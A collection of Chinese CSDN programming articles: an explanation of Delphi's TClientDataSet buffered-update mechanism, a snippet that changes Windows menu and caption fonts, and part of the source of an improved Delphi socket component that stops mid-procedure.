另一个数据源是Delta属性，故名思义，即增量的意思，这个属性反映了对数据的改变。无论是向Data属性新增还是删除记录，都会在Delta中记录下来，
如果是修改了Data中的记录，则会在Delta保存两条相应的记录，一条是原始记录，另一条仅包含修改的字段值。正因为Delta的存在和TClientDataSet
在内存中记录数据的特点，所有的改变都没有立即更新加对应的物理存储中，可以根据这些信息在适当的时候恢复，所以TClientDataSet天生具有缓冲更新功能。

为了使数据更新回数据存储源，我们要调用TClientDataSet中对应的方法。如果ClientDataSet与DataSetProvider关联，那么仅需调用TClientDataSet的ApplyUpdates
方法即可保存数据的更新，但如果TClientDataSet没有对应的TDataSetProvider存在，而是直接同文件关联，那么，这种方式是非常有趣的，我们在BriefCase模型中会
再次讲解这个问题。此时，如果使用TClientDataSet的SaveToFile和LoadFromFile，都会保留着Delta。调用MergeChangeLog和ClearChanges后，Delta的内容才会被
清空。只是前者是将Delta的数据同Data结合起来，将改变存储到物理介质上，而ClearChanges则是一股脑儿全部清空，将数据回复到原始状态。
大部分的应用都是将TClientDataSet与TDataSetProvider结合使用的。两者联合使用的行为反映了Borland的设计宗旨，就是要提供一个面向分布式环境的思路。我们下面来
慢慢解释。

当我们将TClientDataSet对象的Active属性设为True或者调用其Open方法后，ClientDataSet会向DataSetProvider发送一个取数据包请求。于是DataSetProvider便会打开对应的
数据集，将记录指针指向第一条记录，然后从头到尾依次扫描。对于扫描到的每一条记录，都会将其编码成一个variant数组，我们通常将它称之为数据包。完成扫描后，DataSetProvider
会关闭指向的数据集，并将所有的这些数据包传递给ClientDataSet。在我提供的演示程序中，你可以清楚地看到这种行为（毕竟眼见为实吗！）。程序主界面右边的DBGrid连接到一个指向数据库表
的数据源，DataSetProvider即指向此表。当选择了ClientDataSet | Load菜单项时，你可以看到表格的数据被依次扫描，一旦到达最后一条记录，表格便会被关闭，右边的DBGrid被清空，而左边反映
ClientDataSet数据的DBGrid便出显示出内存中的数据来。由于这个过程会在DBGrid上反映出来，所以不到1000条记录的取出时间中，大部分都浪费在屏幕的更新显示上了，你可以选择ClientDataSet | View Table Loading来禁止
显示，而达到加速的目的。

在上面的描述中，我们没有提到一个重要的环节，即数据包是如何还原成表格的。那是因为DataSetProvider会将数据包中的元数据解码出来，根据元数据（我们可以理解为数据表的结构）便可以构造出与物理数据表一模一样的
内存虚拟表。但要注意的是，尽管DataSetProvider指向的数据表可能有多个索引，但这些信息是不会放在数据包中的，换句话说，ClientDataSet当中的数据默认情况下是无索引的。但因为ClientDataSet具有与TDataSet一致的行为，
所以我们可以在此基础上根据需要重建索引。

在ClientDataSet中的数据被修改后，可以提交给物理数据表持久化这此改变。这个工作便是由DataSetProvider完成的。内部工作原理是：DataSetProvider创建一个TSQLResolver的实例，这个实例会生成要在底层数据上执行更改的SQL语句。
详细地说，就是对修改日志中的每一条被删除、插入、更改记录生成对应的SQL语句。这个语句的生成也可以由用户控制，DataSetProvider的UpdateMode属性和ClientDataSet中的ProviderFlags属性都对SQL语句的生成有影响。

当然，你也可以换一种方式，即采取同单机或C/S结构一样的数据直接操作机制，绕过SQL语句和缓冲更新机制来修改数据库。只需将ResolveToDataSet属性设为True，那么DataSetProvider在持久化更新时便不会使用TSQLResolve，而是直接修改物理数据源。
即定位到要删除的记录，调用删除语句，定位到修改记录，调用修改语句。我们可以对演示程序稍加修改，观察此种行为。请将演示程序中的DataSetProvider的ResolveToDataSet属性由False改为True，运行。在界面中修改数据并且保存，你将会看到右边的导航按钮
会在瞬间变得可用。

更绝妙的是，Borland考虑到了应用的多样性，为我们提供了BeforeUpdateRecord事件，这样，当DataSetProvider对每个修改日志的记录进行操作时，都会触发此事件，我们可以在此事件中加入自己的处理，如“加密操作”、“商业敏感数据处理”等应用，从而极大地方便了程序员，让程序员对于数据具有完全的控制能力。
分布式环境的复杂性对数据的存取提出了更高的要求，所以使用事务来保证数据的完整性和一致性是非常必要的，Borland考虑到了这一点，当调用ClientDataSet的ApplyUpdates时，你可以传递一个整数值来指明可以容忍的错误数量。如果你的数据非常严格，则可以传递0值，这样，DataSetProvider在应用修改时便会打开一个事务，
如果遇到错误，便会回退此事务，修改日志将保持原样，并且将出错的记录标记出来，最后会触发OnReconcileError事件。
如果传递了一个大于0的数，则当出现的错误数量小于此指定值时，事务会被提交，发生错误而导致提交失败的记录会保留在Delta中，而提交成功的记录会从修改日志中删除。
若错误数量达到指定值，则事务会回退，结果同整数值为0的情况。
如果值为负数，则会交所以可提交的数据都提交，不可提交的数据仍然保存在修改日志中，并将出错记录标记出来。

虽然，Borland是为了满足分布式编程的需要而设计了TClientDataSet，但在其它类型的编程环境中使用ClientDataSet也具有积极的意义。首先，我们可以看到，由于数据均在内存中进行操作，而且仅在打开数据库取数据时和将修改持久到回数据库时，才有数据库开销，其它时间数据库为零，这样就极大地增加了数据库的负荷，让数据库服务器
能满足更多用户的连接请求。其次，ClientDataSet具有其它数据集所不具备的许多高级功能，这为程序员进行复杂的编程提供了便利，可以不考虑数据库本身是否支持这此功能，而让ClientDataSet去处理这些复杂而繁琐的细节。
最后，ClientDataSet在数据存储和应用程序间起到一个抽象层的作用。假如你的程序使用了TClientDataSet，那么如果你以后要更改数据库存储机制。比如说由BDE移植到dbExpress，或者从ADO移植到Interbase Express，你的用户界面和数据控制部分几乎就不用改变，只需要将DataSetProvider指向新的数据存取组件即可。顺便说一句，由于缓冲更新
的存在，用户可能非常厌恶调用ApplyUpdates操作，那么你可以将此调用放入AfterPost和AfterDelte中，让用户的操作更方便。

演示程序下载地址为：211.154.143.75/pub/loadbehaviordemo.zip
待续....


CSDN_文档中心_改变标题字体，菜单字体

var
ncm: TNonClientMetrics;
begin
ncm.cbSize := SizeOf(TNonClientMetrics);
{get old non client metrics}
SystemParametersInfo(SPI_GETNONCLIENTMETRICS, SizeOf(TNonClientMetrics), @ncm, 0);
{
lfCaptionFont - regular captions
lfSmCaptionFont - small captions
lfMenuFont - menus
lfStatusFont - status bars
lfMessageFont - message boxes
}
ncm.lfMessageFont.lfFaceName := '楷体';
ncm.lfMessageFont.lfHeight:=18;
ncm.lfCaptionFont.lfHeight:=18;//标题字
ncm.lfMenuFont.lfHeight:=18;//菜单
{set new non client metrics}
SystemParametersInfo(SPI_SETNONCLIENTMETRICS, SizeOf(TNonClientMetrics), @ncm, 0);
end;

E_mail:YanleiGis@21cn.com


CSDN_文档中心_改进的socket控件

以下是本菜鸟做的一个改进的Socket控件，有兴趣的小侠可以down下玩玩，顺便提提意见。

unit MScktComp;

interface

uses SysUtils, Windows, Messages, Classes, WinSock, SyncObjs;

const
CM_SOCKETMESSAGE = WM_USER + $0001;
CM_DEFERFREE = WM_USER + $0002;
CM_LOOKUPCOMPLETE = WM_USER + $0003;

type
ESocketError = class(Exception);

TCMSocketMessage = record
Msg: Cardinal;
Socket: TSocket;
SelectEvent: Word;
SelectError: Word;
Result: Longint;
end;

TCMLookupComplete = record
Msg: Cardinal;
LookupHandle: THandle;
AsyncBufLen: Word;
AsyncError: Word;
Result: Longint;
end;

TCustomWinSocket = class;
TMCustomSocket = class;
TServerWinSocket = class;
TServerClientWinSocket = class;
// TConManageThread = class;

TServerType = (stNonBlocking);
TClientType = (ctNonBlocking);
TAsyncStyle = (asRead, asWrite, asOOB, asAccept, asConnect, asClose);
TAsyncStyles = set of TAsyncStyle;
TSocketEvent = (seLookup, seConnecting, seConnect, seDisconnect, seListen,
seAccept, seWrite, seRead);
TLookupState = (lsIdle, lsLookupAddress, lsLookupService);
TErrorEvent = (eeGeneral, eeSend, eeReceive, eeConnect, eeDisconnect, eeAccept);

TSocketEventEvent = procedure (Sender: TObject; Socket: TCustomWinSocket;
SocketEvent: TSocketEvent) of object;
TSocketErrorEvent = procedure (Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer) of object;
TGetSocketEvent = procedure (Sender: TObject; Socket: TSocket;
var ClientSocket: TServerClientWinSocket) of object;
TSocketNotifyEvent = procedure (Sender: TObject; Socket: TCustomWinSocket) of object;

TCustomWinSocket = class
private
FSocket: TSocket;
FConnected: Boolean;
FHandle: HWnd;
FAddr: TSockAddrIn;
FAsyncStyles: TASyncStyles;
FLookupState: TLookupState;
FLookupHandle: THandle;
FOnSocketEvent: TSocketEventEvent;
FOnErrorEvent: TSocketErrorEvent;
FSocketLock: TCriticalSection;
FGetHostData: Pointer;
FData: Pointer;
// Used during non-blocking host and service lookups
FService: string;
FPort: Word;
FClient: Boolean;
FQueueSize: Integer;
procedure WndProc(var Message: TMessage);
procedure CMLookupComplete(var Message: TCMLookupComplete); message CM_LOOKUPCOMPLETE;
procedure CMSocketMessage(var Message: TCMSocketMessage); message CM_SOCKETMESSAGE;
procedure CMDeferFree(var Message); message CM_DEFERFREE;
procedure DeferFree;
procedure DoSetAsyncStyles;
function GetHandle: HWnd;
function GetLocalHost: string;
function GetLocalAddress: string;
function GetLocalPort: Integer;
function GetRemoteHost: string;
function GetRemoteAddress: string;
function GetRemotePort: Integer;
function GetRemoteAddr: TSockAddrIn;
protected
procedure AsyncInitSocket(const Name, Address, Service: string; Port: Word;
QueueSize: Integer; Client: Boolean);
procedure DoOpen;
procedure DoListen(QueueSize: Integer);
function InitSocket(const Name, Address, Service: string; Port: Word;
Client: Boolean): TSockAddrIn;
procedure Event(Socket: TCustomWinSocket; SocketEvent: TSocketEvent); dynamic;
procedure Error(Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer); dynamic;
procedure SetAsyncStyles(Value: TASyncStyles);
public
constructor Create(ASocket: TSocket);
destructor Destroy; override;
procedure Close;
procedure DefaultHandler(var Message); override;
procedure Lock;
procedure Unlock;
procedure Listen(const Name, Address, Service: string; Port: Word;
QueueSize: Integer; Block: Boolean = True);
procedure Open(const Name, Address, Service: string; Port: Word; Block: Boolean = True);
procedure Accept(Socket: TSocket); virtual;
procedure Connect(Socket: TSocket); virtual;
procedure Disconnect(Socket: TSocket); virtual;
procedure Read(Socket: TSocket); virtual;
procedure Write(Socket: TSocket); virtual;
function LookupName(const name: string): TInAddr;
function LookupService(const service: string): Integer;

function ReceiveLength: Integer;
function ReceiveBuf(var Buf; Count: Integer): Integer;
function ReceiveText: string;
function SendBuf(var Buf; Count: Integer): Integer;
function SendText(const S: string): Integer;

property LocalHost: string read GetLocalHost;
property LocalAddress: string read GetLocalAddress;
property LocalPort: Integer read GetLocalPort;

property RemoteHost: string read GetRemoteHost;
property RemoteAddress: string read GetRemoteAddress;
property RemotePort: Integer read GetRemotePort;
property RemoteAddr: TSockAddrIn read GetRemoteAddr;

property Connected: Boolean read FConnected;
property Addr: TSockAddrIn read FAddr;
property ASyncStyles: TAsyncStyles read FAsyncStyles write SetAsyncStyles;
property Handle: HWnd read GetHandle;
property SocketHandle: TSocket read FSocket;
property LookupState: TLookupState read FLookupState;

property OnSocketEvent: TSocketEventEvent read FOnSocketEvent write FOnSocketEvent;
property OnErrorEvent: TSocketErrorEvent read FOnErrorEvent write FOnErrorEvent;

property Data: Pointer read FData write FData;
end;

TClientWinSocket = class(TCustomWinSocket)
private
FClientType: TClientType;
protected
procedure SetClientType(Value: TClientType);
public
procedure Connect(Socket: TSocket); override;
property ClientType: TClientType read FClientType write SetClientType;
end;

TServerClientWinSocket = class(TCustomWinSocket)
private
FServerWinSocket: TServerWinSocket;
public
constructor Create(Socket: TSocket; ServerWinSocket: TServerWinSocket);
destructor Destroy; override;

property ServerWinSocket: TServerWinSocket read FServerWinSocket;
end;
file://***************************************************
// 定义一个接收线程
{TServerAcceptThread = class(TThread)
private
FServerSocket: TServerWinSocket;
public
constructor Create(CreateSuspended: Boolean; ASocket: TServerWinSocket);
destructor destroy ;override;
procedure Execute; override;
procedure Accept(socket:Tsocket);
property ServerSocket: TServerWinSocket read FServerSocket;
end;
file://****************************************************

file://*****************************************************
// 定义一个连接管理线程
{ConManageThread = class(TThread)
private
FClientSocket: TServerClientWinSocket;
FServerSocket: TServerWinSocket;
FException: Exception;
FEvent: TSimpleEvent;
FKeepInCache: Boolean;
FData: Pointer;
procedure HandleEvent(Sender: TObject; Socket: TCustomWinSocket;
SocketEvent: TSocketEvent);
procedure HandleError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure DoHandleException;
procedure DoRead;
procedure DoWrite;
protected
procedure DoTerminate; override;
procedure Execute; override;
procedure ClientExecute; virtual;
procedure Event(SocketEvent: TSocketEvent); virtual;
procedure Error(ErrorEvent: TErrorEvent; var ErrorCode: Integer); virtual;
procedure HandleException; virtual;
procedure ReActivate(ASocket: TServerClientWinSocket);
function StartConnect: Boolean;
function EndConnect: Boolean;
public
constructor Create(CreateSuspended: Boolean; ASocket: TServerClientWinSocket);
destructor Destroy; override;

property ClientSocket: TServerClientWinSocket read FClientSocket;
property ServerSocket: TServerWinSocket read FServerSocket;
property KeepInCache: Boolean read FKeepInCache write FKeepInCache;
property Data: Pointer read FData write FData;
end;}
file://*****************************************************

TServerWinsocket= class(TCustomWinSocket)
private
FServerType: TServerType;
FConnections: TList;
// FServerAcceptThread: TServerAcceptThread;
FListLock: TCriticalSection;
FOnGetSocket: TGetSocketEvent;
FOnClientConnect: TSocketNotifyEvent;
FOnClientDisconnect: TSocketNotifyEvent;
FOnClientRead: TSocketNotifyEvent;
FOnClientWrite: TSocketNotifyEvent;
FOnClientError: TSocketErrorEvent;
procedure AddClient(AClient: TServerClientWinSocket);//向TLIST添加连接
procedure RemoveClient(AClient: TServerClientWinSocket);
procedure ClientEvent(Sender: TObject; Socket: TCustomWinSocket;
SocketEvent: TSocketEvent);//响应客户SOCKET事件
procedure ClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
function GetActiveConnections: Integer; file://获取连接数
function GetConnections(Index: Integer): TCustomWinSocket;//获取指定连接
protected
// procedure Accept(Socket: TSocket); override;

procedure SetServerType(Value: TServerType);
function GetClientSocket(Socket: TSocket): TServerClientWinSocket; dynamic;
procedure ClientRead(Socket: TCustomWinSocket); dynamic;
procedure ClientWrite(Socket: TCustomWinSOcket); dynamic;
procedure ClientConnect(Socket: TCustomWinSOcket); dynamic;
procedure ClientDisconnect(Socket: TCustomWinSOcket); dynamic;
procedure ClientErrorEvent(Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer); dynamic;
public
constructor Create(ASocket: TSocket);
destructor Destroy; override;
procedure Listen(var Name, Address, Service: string; Port: Word;
QueueSize: Integer);
procedure Accept(Socket:TSocket);override;
property ActiveConnections: Integer read GetActiveConnections;
property Connections[Index: Integer]: TCustomWinSocket read GetConnections;
property ServerType: TServerType read FServerType write SetServerType;
property OnGetSocket: TGetSocketEvent read FOnGetSocket write FOnGetSocket;
property OnClientConnect: TSocketNotifyEvent read FOnClientConnect write FOnClientConnect;
property OnClientDisconnect: TSocketNotifyEvent read FOnClientDisconnect write FOnClientDisconnect;
property OnClientRead: TSocketNotifyEvent read FOnClientRead write FOnClientRead;
property OnClientWrite: TSocketNotifyEvent read FOnClientWrite write FOnClientWrite;
property OnClientError: TSocketErrorEvent read FOnClientError write FOnClientError;
end;

TMAbstractSocket = class(TComponent)
private
FActive: Boolean;
FPort: Integer;
FAddress: string;
FHost: string;
FService: string;
procedure DoEvent(Sender: TObject; Socket: TCustomWinSocket;
SocketEvent: TSocketEvent);
procedure DoError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
protected
procedure Event(Socket: TCustomWinSocket; SocketEvent: TSocketEvent);
virtual; abstract;
procedure Error(Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer); virtual; abstract;
procedure DoActivate(Value: Boolean); virtual; abstract;
procedure InitSocket(Socket: TCustomWinSocket);
procedure Loaded; override;
procedure SetActive(Value: Boolean);
procedure SetAddress(Value: string);
procedure SetHost(Value: string);
procedure SetPort(Value: Integer);
procedure SetService(Value: string);
property Active: Boolean read FActive write SetActive;
property Address: string read FAddress write SetAddress;
property Host: string read FHost write SetHost;
property Port: Integer read FPort write SetPort;
property Service: string read FService write SetService;
public
procedure Open;
procedure Close;
end;

TMCustomSocket = class(TMAbstractSocket)
private
FOnLookup: TSocketNotifyEvent;
FOnConnect: TSocketNotifyEvent;
FOnConnecting: TSocketNotifyEvent;
FOnDisconnect: TSocketNotifyEvent;
FOnListen: TSocketNotifyEvent;
FOnAccept: TSocketNotifyEvent;
FOnRead: TSocketNotifyEvent;
FOnWrite: TSocketNotifyEvent;
FOnError: TSocketErrorEvent;
protected
procedure Event(Socket: TCustomWinSocket; SocketEvent: TSocketEvent); override;
procedure Error(Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer); override;
property OnLookup: TSocketNotifyEvent read FOnLookup write FOnLookup;
property OnConnecting: TSocketNotifyEvent read FOnConnecting write FOnConnecting;
property OnConnect: TSocketNotifyEvent read FOnConnect write FOnConnect;
property OnDisconnect: TSocketNotifyEvent read FOnDisconnect write FOnDisconnect;
property OnListen: TSocketNotifyEvent read FOnListen write FOnListen;
property OnAccept: TSocketNotifyEvent read FOnAccept write FOnAccept;
property OnRead: TSocketNotifyEvent read FOnRead write FOnRead;
property OnWrite: TSocketNotifyEvent read FOnWrite write FOnWrite;
property OnError: TSocketErrorEvent read FOnError write FOnError;
end;

TMClientSocket = class(TMCustomSocket)
private
FClientSocket: TClientWinSocket;
protected
procedure DoActivate(Value: Boolean); override;
function GetClientType: TClientType;
procedure SetClientType(Value: TClientType);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property Socket: TClientWinSocket read FClientSocket;
published
property Active;
property Address;
property ClientType: TClientType read GetClientType write SetClientType;
property Host;
property Port;
property Service;
property OnLookup;
property OnConnecting;
property OnConnect;
property OnDisconnect;
property OnRead;
property OnWrite;
property OnError;
end;

TMCustomServerSocket = class(TMCustomSocket)
protected
FServerSocket: TServerWinSocket;
procedure DoActivate(Value: Boolean); override;
function GetServerType: TServerType;
function GetGetSocketEvent: TGetSocketEvent;
function GetOnClientEvent(Index: Integer): TSocketNotifyEvent;
function GetOnClientError: TSocketErrorEvent;
procedure SetServerType(Value: TServerType);
procedure SetGetSocketEvent(Value: TGetSocketEvent);
procedure SetOnClientEvent(Index: Integer; Value: TSocketNotifyEvent);
procedure SetOnClientError(Value: TSocketErrorEvent);
property ServerType: TServerType read GetServerType write SetServerType;
property OnGetSocket: TGetSocketEvent read GetGetSocketEvent
write SetGetSocketEvent;
property OnClientConnect: TSocketNotifyEvent index 2 read GetOnClientEvent
write SetOnClientEvent;
property OnClientDisconnect: TSocketNotifyEvent index 3 read GetOnClientEvent
write SetOnClientEvent;
property OnClientRead: TSocketNotifyEvent index 0 read GetOnClientEvent
write SetOnClientEvent;
property OnClientWrite: TSocketNotifyEvent index 1 read GetOnClientEvent
write SetOnClientEvent;
property OnClientError: TSocketErrorEvent read GetOnClientError write SetOnClientError;
public
destructor Destroy; override;
end;

TMServerSocket = class(TMCustomServerSocket)
public
constructor Create(AOwner: TComponent); override;
property Socket: TServerWinSocket read FServerSocket;
published
property Active;
property Port;
property Service;
property ServerType;
property OnListen;
property OnAccept;
property OnGetSocket;
property OnClientConnect;
property OnClientDisconnect;
property OnClientRead;
property OnClientWrite;
property OnClientError;
end;

TSocketErrorProc = procedure (ErrorCode: Integer);

function SetErrorProc(ErrorProc: TSocketErrorProc): TSocketErrorProc;
procedure Register;

implementation

uses Forms, Consts;

threadvar
SocketErrorProc: TSocketErrorProc;

var
WSAData: TWSAData;

function SetErrorProc(ErrorProc: TSocketErrorProc): TSocketErrorProc;
begin
Result := SocketErrorProc;
SocketErrorProc := ErrorProc;
end;

function CheckSocketResult(ResultCode: Integer; const Op: string): Integer;
begin
if ResultCode <> 0 then
begin
Result := WSAGetLastError;
if Result <> WSAEWOULDBLOCK then
if Assigned(SocketErrorProc) then
SocketErrorProc(Result)
else raise ESocketError.CreateResFmt(@sWindowsSocketError,
[SysErrorMessage(Result), Result, Op]);
end else Result := 0;
end;

procedure Startup;
var
ErrorCode: Integer;
begin
ErrorCode := WSAStartup($0101, WSAData);
if ErrorCode <> 0 then
raise ESocketError.CreateResFmt(@sWindowsSocketError,
[SysErrorMessage(ErrorCode), ErrorCode, 'WSAStartup']);
end;

procedure Cleanup;
var
ErrorCode: Integer;
begin
ErrorCode := WSACleanup;
if ErrorCode <> 0 then
raise ESocketError.CreateResFmt(@sWindowsSocketError,
[SysErrorMessage(ErrorCode), ErrorCode, 'WSACleanup']);
end;

{ TCustomWinSocket }

constructor TCustomWinSocket.Create(ASocket: TSocket);
begin
inherited Create;
Startup;
FSocketLock := TCriticalSection.Create;
FASyncStyles := [asRead, asWrite, asConnect, asClose];
FSocket := ASocket;
FAddr.sin_family := PF_INET;
FAddr.sin_addr.s_addr := INADDR_ANY;
FAddr.sin_port := 0;
FConnected := FSocket <> INVALID_SOCKET;
end;

destructor TCustomWinSocket.Destroy;
begin
FOnSocketEvent := nil; { disable events }
if FConnected and (FSocket <> INVALID_SOCKET) then
Disconnect(FSocket);
if FHandle <> 0 then DeallocateHWnd(FHandle);
FSocketLock.Free;
Cleanup;
FreeMem(FGetHostData);
FGetHostData := nil;
inherited Destroy;
end;

procedure TCustomWinSocket.Accept(Socket: TSocket);
begin
end;

procedure TCustomWinSocket.AsyncInitSocket(const Name, Address,
Service: string; Port: Word; QueueSize: Integer; Client: Boolean);
begin
try
case FLookupState of
lsIdle:
begin
if not Client then
begin
FLookupState := lsLookupAddress;
FAddr.sin_addr.S_addr := INADDR_ANY;
end else if Name <> '' then
begin
if FGetHostData = nil then
FGetHostData := AllocMem(MAXGETHOSTSTRUCT);
FLookupHandle := WSAAsyncGetHostByName(Handle, CM_LOOKUPCOMPLETE,
PChar(Name), FGetHostData, MAXGETHOSTSTRUCT);
CheckSocketResult(Ord(FLookupHandle = 0), 'WSAASyncGetHostByName');
FService := Service;
FPort := Port;
FQueueSize := QueueSize;
FClient := Client;
FLookupState := lsLookupAddress;
Exit;
end else if Address <> '' then
begin
FLookupState := lsLookupAddress;
FAddr.sin_addr.S_addr := inet_addr(PChar(Address));
end else raise ESocketError.CreateRes(@sNoAddress);
end;
lsLookupAddress:
begin
if Service <> '' then
begin
if FGetHostData = nil then
FGetHostData := AllocMem(MAXGETHOSTSTRUCT);
FLookupHandle := WSAASyncGetServByName(Handle, CM_LOOKUPCOMPLETE,
PChar(Service), 'tcp' , FGetHostData, MAXGETHOSTSTRUCT);
CheckSocketResult(Ord(FLookupHandle = 0), 'WSAASyncGetServByName');
FLookupState := lsLookupService;
Exit;
end else
begin
FLookupState := lsLookupService;
FAddr.sin_port := htons(Port);
end;
end;
lsLookupService:
begin
FLookupState := lsIdle;
if Client then
DoOpen
else DoListen(QueueSize);
end;
end;
if FLookupState <> lsIdle then
ASyncInitSocket(Name, Address, Service, Port, QueueSize, Client);
except
Disconnect(FSocket);
raise;
end;
end;

procedure TCustomWinSocket.Close;
begin
Disconnect(FSocket);
end;

procedure TCustomWinSocket.Connect(Socket: TSocket);
begin
end;

procedure TCustomWinSocket.Lock;
begin
FSocketLock.Enter;
end;

procedure TCustomWinSocket.Unlock;
begin
FSocketLock.Leave;
end;

procedure TCustomWinSocket.CMSocketMessage(var Message: TCMSocketMessage);

function CheckError: Boolean;
var
ErrorEvent: TErrorEvent;
ErrorCode: Integer;
begin
if Message.SelectError <> 0 then
begin
Result := False;
ErrorCode := Message.SelectError;
case Message.SelectEvent of
FD_CONNECT: ErrorEvent := eeConnect;
FD_CLOSE: ErrorEvent := eeDisconnect;
FD_READ: ErrorEvent := eeReceive;
FD_WRITE: ErrorEvent := eeSend;
FD_ACCEPT: ErrorEvent := eeAccept;
else
ErrorEvent := eeGeneral;
end;
Error(Self, ErrorEvent, ErrorCode);
if ErrorCode <> 0 then
raise ESocketError.CreateResFmt(@sASyncSocketError, [ErrorCode]);
end else Result := True;
end;

begin
with Message do
if CheckError then
case SelectEvent of
FD_CONNECT: Connect(Socket);
FD_CLOSE: Disconnect(Socket);
FD_READ: Read(Socket);
FD_WRITE: Write(Socket);
FD_ACCEPT: Accept(Socket);
end;
end;

procedure TCustomWinSocket.CMDeferFree(var Message);
begin
Free;
end;

procedure TCustomWinSocket.DeferFree;
begin
if FHandle <> 0 then PostMessage(FHandle, CM_DEFERFREE, 0, 0);
end;

procedure TCustomWinSocket.DoSetAsyncStyles;
var
Msg: Integer;
Wnd: HWnd;
Blocking: Longint;
begin
Msg := 0;
Wnd := 0;
if FAsyncStyles <> [] then
begin
Msg := CM_SOCKETMESSAGE;
Wnd := Handle;
end;
WSAAsyncSelect(FSocket, Wnd, Msg, Longint(Byte(FAsyncStyles)));
if FASyncStyles = [] then
begin
Blocking := 0;
ioctlsocket(FSocket, FIONBIO, Blocking);
end;
end;

procedure TCustomWinSocket.DoListen(QueueSize: Integer);
begin
CheckSocketResult(bind(FSocket, FAddr, SizeOf(FAddr)), 'bind');
DoSetASyncStyles;
if QueueSize > SOMAXCONN then QueueSize := SOMAXCONN;
Event(Self, seListen);
CheckSocketResult(Winsock.listen(FSocket, QueueSize), 'listen');
FLookupState := lsIdle;
FConnected := True;
end;

procedure TCustomWinSocket.DoOpen;
begin
DoSetASyncStyles;
Event(Self, seConnecting);
CheckSocketResult(WinSock.connect(FSocket, FAddr, SizeOf(FAddr)), 'connect');
FLookupState := lsIdle;
if not (asConnect in FAsyncStyles) then
begin
FConnected := FSocket <> INVALID_SOCKET;
Event(Self, seConnect);
end;
end;

function TCustomWinSocket.GetHandle: HWnd;
begin
if FHandle = 0 then
FHandle := AllocateHwnd(WndProc);
Result := FHandle;
end;

function TCustomWinSocket.GetLocalAddress: string;
var
SockAddrIn: TSockAddrIn;
Size: Integer;
begin
Lock;
try
Result := '';
if FSocket = INVALID_SOCKET then Exit;
Size := SizeOf(SockAddrIn);
if getsockname(FSocket, SockAddrIn, Size) = 0 then
Result := inet_ntoa(SockAddrIn.sin_addr);
finally
Unlock;
end;
end;

function TCustomWinSocket.GetLocalHost: string;
var
LocalName: array[0..255] of Char;
begin
Lock;
try
Result := '';
if FSocket = INVALID_SOCKET then Exit;
if gethostname(LocalName, SizeOf(LocalName)) = 0 then
Result := LocalName;
finally
Unlock;
end;
end;

function TCustomWinSocket.GetLocalPort: Integer;
var
SockAddrIn: TSockAddrIn;
Size: Integer;
begin
Lock;
try
Result := -1;
if FSocket = INVALID_SOCKET then Exit;
Size := SizeOf(SockAddrIn);
if getsockname(FSocket, SockAddrIn, Size) = 0 then
Result := ntohs(SockAddrIn.sin_port);
finally
Unlock;
end;
end;

function TCustomWinSocket.GetRemoteHost: string;
var
SockAddrIn: TSockAddrIn;
Size: Integer;
HostEnt: PHostEnt;
begin
Lock;
try
Result := '';
if not FConnected then Exit;
Size := SizeOf(SockAddrIn);
CheckSocketResult(getpeername(FSocket, SockAddrIn, Size), 'getpeername');
HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.s_addr, 4, PF_INET);
if HostEnt <> nil then Result := HostEnt.h_name;
finally
Unlock;
end;
end;

function TCustomWinSocket.GetRemoteAddress: string;
var
SockAddrIn: TSockAddrIn;
Size: Integer;
begin
Lock;
try
Result := '';
if not FConnected then Exit;
Size := SizeOf(SockAddrIn);
CheckSocketResult(getpeername(FSocket, SockAddrIn, Size), 'getpeername');
Result := inet_ntoa(SockAddrIn.sin_addr);
finally
Unlock;
end;
end;

function TCustomWinSocket.GetRemotePort: Integer;
var
SockAddrIn: TSockAddrIn;
Size: Integer;
begin
Lock;
try
Result := 0;
if not FConnected then Exit;
Size := SizeOf(SockAddrIn);
CheckSocketResult(getpeername(FSocket, SockAddrIn, Size), 'getpeername');
Result := ntohs(SockAddrIn.sin_port);
finally
Unlock;
end;
end;

function TCustomWinSocket.GetRemoteAddr: TSockAddrIn;
var
Size: Integer;
begin
Lock;
try
FillChar(Result, SizeOf(Result), 0);
if not FConnected then Exit;
Size := SizeOf(Result);
if getpeername(FSocket, Result, Size) <> 0 then
FillChar(Result, SizeOf(Result), 0);
finally
Unlock;
end;
end;

function TCustomWinSocket.LookupName(const Name: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(Name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;

function TCustomWinSocket.LookupService(const Service: string): Integer;
var
ServEnt: PServEnt;
begin
ServEnt := getservbyname(PChar(Service), 'tcp');
if ServEnt <> nil then
Result := ntohs(ServEnt.s_port)
else Result := 0;
end;

function TCustomWinSocket.InitSocket(const Name, Address, Service: string; Port: Word;
Client: Boolean): TSockAddrIn;
begin
Result.sin_family := PF_INET;
if Name <> '' then
Result.sin_addr := LookupName(name)
else if Address <> '' then
Result.sin_addr.s_addr := inet_addr(PChar(Address))
else if not Client then
Result.sin_addr.s_addr := INADDR_ANY
else raise ESocketError.CreateRes(@sNoAddress);
if Service <> '' then
Result.sin_port := htons(LookupService(Service))
else
Result.sin_port := htons(Port);
end;

procedure TCustomWinSocket.Listen(const Name, Address, Service: string; Port: Word;
QueueSize: Integer; Block: Boolean);
begin
if FConnected then raise ESocketError.CreateRes(@sCannotListenOnOpen);
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
if FSocket = INVALID_SOCKET then raise ESocketError.CreateRes(@sCannotCreateSocket);
try
Event(Self, seLookUp);
if Block then
begin
FAddr := InitSocket(Name, Address, Service, Port, False);
